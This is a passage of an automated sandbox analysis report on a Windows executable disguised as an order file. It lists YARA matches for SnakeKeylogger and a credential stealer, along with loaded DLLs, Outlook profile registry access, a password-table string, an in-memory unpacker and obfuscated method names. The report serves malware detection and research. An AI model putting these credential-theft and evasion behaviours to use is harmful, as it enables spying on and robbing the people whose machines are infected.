Source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 1.2.new order 00041221.exe.3859970.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 3.2.new order 00041221.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.new order 00041221.exe.3859970.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 1.2.new order 00041221.exe.38fa868.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 3.2.new order 00041221.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.new order 00041221.exe.38fa868.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 3.2.new order 00041221.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 1.2.new order 00041221.exe.38fa868.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000003.00000002.3707232518.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000001.00000002.1271925183.0000000003859000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000001.00000002.1271925183.00000000038FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: new order 00041221.exe PID: 1000, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: new order 00041221.exe PID: 5292, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: new order 00041221.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, -A.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.new order 00041221.exe.38fa868.2.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, -A.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.new order 00041221.exe.3859970.3.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, roTOmjLT5gBK2EC4ca.cs	Security API names: _0020.SetAccessControl
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, roTOmjLT5gBK2EC4ca.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, roTOmjLT5gBK2EC4ca.cs	Security API names: _0020.AddAccessRule
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, WWoXcRNneectu4WPwU.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, roTOmjLT5gBK2EC4ca.cs	Security API names: _0020.SetAccessControl
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, roTOmjLT5gBK2EC4ca.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, roTOmjLT5gBK2EC4ca.cs	Security API names: _0020.AddAccessRule
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, WWoXcRNneectu4WPwU.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@6/4

Source: C:\Users\user\Desktop\new order 00041221.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\new order 00041221.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\new order 00041221.exe	Mutant created: \Sessions\1\BaseNamedObjects\EcCdSAIhNcVisQpsLrNIP

Source: new order 00041221.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: new order 00041221.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\new order 00041221.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: new order 00041221.exe, 00000003.00000002.3711414422.000000000318D000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.000000000315B000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.000000000313D000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.000000000314D000.00000004.00000800.00020000.00000000.sdmp, new order 00041221.exe, 00000003.00000002.3711414422.0000000003180000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: new order 00041221.exe	Virustotal: Detection: 41%
Source: new order 00041221.exe	ReversingLabs: Detection: 47%

Source: unknown	Process created: C:\Users\user\Desktop\new order 00041221.exe "C:\Users\user\Desktop\new order 00041221.exe"
Source: C:\Users\user\Desktop\new order 00041221.exe	Process created: C:\Users\user\Desktop\new order 00041221.exe "C:\Users\user\Desktop\new order 00041221.exe"
Source: C:\Users\user\Desktop\new order 00041221.exe	Process created: C:\Users\user\Desktop\new order 00041221.exe "C:\Users\user\Desktop\new order 00041221.exe"	Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\new order 00041221.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\new order 00041221.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: new order 00041221.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: new order 00041221.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: 1.2.new order 00041221.exe.4e00000.5.raw.unpack, -.cs	.Net Code: _0001 System.Reflection.Assembly.Load(byte[])
Source: 1.2.new order 00041221.exe.4e00000.5.raw.unpack, PingPong.cs	.Net Code: Justy
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, roTOmjLT5gBK2EC4ca.cs	.Net Code: zn4PwiPIJE System.Reflection.Assembly.Load(byte[])
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, roTOmjLT5gBK2EC4ca.cs	.Net Code: zn4PwiPIJE System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_00B50995 push es; retf	1_2_00B50996
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_00B50990 push es; retf	1_2_00B50992
Source: C:\Users\user\Desktop\new order 00041221.exe	Code function: 1_2_00B50998 push es; retf	1_2_00B5099A

Source: new order 00041221.exe

Static PE information: section name: .text entropy: 7.869956261157549

Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, WEkErVgJn1PjkdRbDK.cs	High entropy of concatenated method names: 'ksnI2GS1Sg', 'VnxIHA1l58', 't0a4VAcCPY', 'oQ84QADq3w', 'eI3I7WmpKy', 'EJuIi4Zvbw', 'fmqIJplq0r', 'h5TIThviGG', 'UvbIp8eT3v', 'EsqIKrXUbo'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, WWoXcRNneectu4WPwU.cs	High entropy of concatenated method names: 'RKxXTaU8XU', 'O4fXpM9MLJ', 'JZQXK2uKPD', 'mq2XA3gDqd', 'kmHXM5uq7j', 'pN6XgcqyJ0', 'XptXBdQ7MW', 'Tf1X21wsy0', 'CygX3yV0An', 'aH8XHyXNT5'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, roTOmjLT5gBK2EC4ca.cs	High entropy of concatenated method names: 'TnNcydYa2J', 'dDScniRR6g', 'uifcX6rF3s', 'nvTc17deCr', 'go7cFXNGOO', 'aeFcqE6AOX', 'p1GcdwLXIJ', 'q2WcLOinJS', 'M45cvlLUBX', 'vmHc6aeHeH'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, oea08sDOxeGOQEPJMl.cs	High entropy of concatenated method names: 'cZi1UD1duR', 'Ts41mieuZQ', 'wtU1NFkZUI', 'iH71D659No', 'VnX19UvdC9', 'F9g1btumD8', 'Q6S1Ig8Mgq', 'H9t14PxF4A', 'cAt18gNNot', 'p6B1ZflOJY'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, XmPheVJY4ysEIwXRAO.cs	High entropy of concatenated method names: 'CgOYNhHAP8', 'uRcYDFv0kY', 'L3KYCgYnO6', 'JhPYaQEUk1', 'LSDYhTMLv0', 'rnxYtRxO1p', 'Qy7YuRNx2J', 'dHDYl1xcid', 'vO6YG442JZ', 'tDbY7BPaeV'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, mbWDZh1fAEZLVbsgfE.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'jw8E31Gaa6', 'nnVEHVEl9N', 'ndFEzAoAJN', 'paKcVOD7yC', 'j4acQh4pQv', 'tkRcEw5qPq', 'Nk6cc7I2M9', 'pyCWuszn5xgZTgfnr4'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, I7YwgKocvwlhG6qbjf.cs	High entropy of concatenated method names: 'wdWdOkt4Ps', 'BamdjKUSML', 'eVCdwilZeg', 'mSHdUjUfqC', 'iCSdxYoDsc', 'aehdmNBA7r', 'am5dR4ucNm', 'F5tdNOlLFZ', 'W1LdDeFOWc', 'G3idWcUSLB'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, PIIQJlCPLLSpQvTcKh.cs	High entropy of concatenated method names: 'b4GqyFWMdu', 'AfAqX6BqTP', 'ONFqFuTCFb', 'cCHqdTZVgh', 'eMVqLEAHQ3', 'iSpFMvLFvV', 'R9RFgeiQ7D', 'D7NFBRGC3o', 'vO1F2beHyp', 'CcWF3y8wEN'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, GYgZrNuv1RLjrByTBp.cs	High entropy of concatenated method names: 'iuwdnHRsSL', 'QSMd1F3EnS', 'KJddqi2bQf', 'lwKqHsatdr', 'XY8qzqC01e', 'lu0dV442ey', 'of0dQ67e9b', 'GnEdEGwfuG', 'gk2dcRFu0Z', 'pKvdPIspOA'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, hoHp1pQctWiW4gDnx50.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'tsAZTNw5uf', 'uYcZpVy21l', 'n6aZKsjMAm', 'GDwZAyOhkQ', 'WoaZMv3tJE', 'gutZgOrcEU', 'BvsZBefRFc'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, EOaFyVT7LVLL2nf3aa.cs	High entropy of concatenated method names: 'QKq9GO9fTr', 'gyD9i53UBx', 'p2P9TW5cah', 'gms9pywHhM', 'dLy9am6YKj', 'Wnr9sI7qFF', 'x8A9hHXUN5', 't6m9tsNGWd', 'QGQ9eMPTLG', 'rti9upkk4l'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, AqI0NT2diOTHy7sR0b.cs	High entropy of concatenated method names: 'tuV4nyOFRM', 'y6F4Xp7hNv', 'bmD41et1gl', 'UIY4FicyPl', 'TGo4q7HxGK', 'bQs4dAEteO', 'Yf14LiYr7Z', 'Dxn4vQZICO', 'dLt46E79RC', 'JoG4r6bHYo'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, GXXJusPBLvRYKwa80t.cs	High entropy of concatenated method names: 'R32QdWoXcR', 'feeQLctu4W', 'HOxQ6eGOQE', 'eJMQrlq8D6', 'WsSQ90ZiII', 'bJlQbPLLSp', 'NnsoucCHxhjAwZMhmt', 'YGMTVDOjmS5iXELVeW', 'dmmQQah407', 'SgrQc2WkMG'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, UNqWbw3JDl6LusN8wK.cs	High entropy of concatenated method names: 'Kjx4CvxSgn', 'ypk4aUWCm1', 'mlS4suMWec', 'dNl4h5XYDT', 'avw4T5rcsq', 'MqE4t5ZWy0', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, DsmWQqH9ImqBkLuxMX.cs	High entropy of concatenated method names: 's9l8QCne5F', 'tjm8cvEgBE', 'DKB8PFkg0y', 'nwv8nxfSyE', 'LY88Xj82vM', 'zPt8FCqvDF', 'FIp8qBvDyt', 'bcB4BXeTTW', 'NR4421EPwJ', 'PLL434vFq2'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, bdkeCrEVO5b4aL692H.cs	High entropy of concatenated method names: 'I8EwZfp6c', 'pUJU8T80o', 'AadmniBuO', 't2cR03kQc', 'oTVDWbFOM', 'ItkWLWrx1', 'X6e2a2abtuTE5Bm115', 'bcVhaRQTvD5v2RDGdp', 'U314W1CEr', 'oCHZooEr4'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, P6MW4SQV1ZS9x9j2kD1.cs	High entropy of concatenated method names: 'XQK8OFv8Gd', 'vXR8jmwba6', 'SIS8wCjfnD', 'aVL8UZhaRv', 'Epq8x4uoDE', 'P0U8meJxAG', 'y288RW4Hr9', 'Ard8NsxcSb', 'HLs8DQc3WI', 'bdq8WFJSKe'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, GO6JcJXsuV8AKf3A4i.cs	High entropy of concatenated method names: 'Dispose', 'bcRQ3ZkbIi', 'OMxEaZsbQ7', 'cNqUUWQuGV', 'nUqQHI0NTd', 'POTQzHy7sR', 'ProcessDialogKey', 'wbMEVNqWbw', 'QDlEQ6LusN', 'rwKEENsmWQ'
Source: 1.2.new order 00041221.exe.3bd3aa0.4.raw.unpack, i8D6JcW7rn00w2sS0Z.cs	High entropy of concatenated method names: 'Qd6Fx6BdST', 'cFgFR2Zn1M', 'BLd1s1n3JR', 'qKK1hqcd29', 'gh31tEIYRV', 'aug1eNL3oL', 'Sle1u2sA8l', 'TwD1lvAuXd', 'DYh1oHpr3v', 'lEU1GAIYf2'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, WEkErVgJn1PjkdRbDK.cs	High entropy of concatenated method names: 'ksnI2GS1Sg', 'VnxIHA1l58', 't0a4VAcCPY', 'oQ84QADq3w', 'eI3I7WmpKy', 'EJuIi4Zvbw', 'fmqIJplq0r', 'h5TIThviGG', 'UvbIp8eT3v', 'EsqIKrXUbo'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, WWoXcRNneectu4WPwU.cs	High entropy of concatenated method names: 'RKxXTaU8XU', 'O4fXpM9MLJ', 'JZQXK2uKPD', 'mq2XA3gDqd', 'kmHXM5uq7j', 'pN6XgcqyJ0', 'XptXBdQ7MW', 'Tf1X21wsy0', 'CygX3yV0An', 'aH8XHyXNT5'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, roTOmjLT5gBK2EC4ca.cs	High entropy of concatenated method names: 'TnNcydYa2J', 'dDScniRR6g', 'uifcX6rF3s', 'nvTc17deCr', 'go7cFXNGOO', 'aeFcqE6AOX', 'p1GcdwLXIJ', 'q2WcLOinJS', 'M45cvlLUBX', 'vmHc6aeHeH'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, oea08sDOxeGOQEPJMl.cs	High entropy of concatenated method names: 'cZi1UD1duR', 'Ts41mieuZQ', 'wtU1NFkZUI', 'iH71D659No', 'VnX19UvdC9', 'F9g1btumD8', 'Q6S1Ig8Mgq', 'H9t14PxF4A', 'cAt18gNNot', 'p6B1ZflOJY'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, XmPheVJY4ysEIwXRAO.cs	High entropy of concatenated method names: 'CgOYNhHAP8', 'uRcYDFv0kY', 'L3KYCgYnO6', 'JhPYaQEUk1', 'LSDYhTMLv0', 'rnxYtRxO1p', 'Qy7YuRNx2J', 'dHDYl1xcid', 'vO6YG442JZ', 'tDbY7BPaeV'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, mbWDZh1fAEZLVbsgfE.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'jw8E31Gaa6', 'nnVEHVEl9N', 'ndFEzAoAJN', 'paKcVOD7yC', 'j4acQh4pQv', 'tkRcEw5qPq', 'Nk6cc7I2M9', 'pyCWuszn5xgZTgfnr4'
Source: 1.2.new order 00041221.exe.3c588c0.1.raw.unpack, I7YwgKocvwlhG6qbjf.cs	High entropy of concatenated method names: 'wdWdOkt4Ps', 'BamdjKUSML', 'eVCdwilZeg', 'mSHdUjUfqC', 'iCSdxYoDsc', 'aehdmNBA7r', 'am5dR4ucNm', 'F5tdNOlLFZ', 'W1LdDeFOWc', 'G3idWcUSLB'
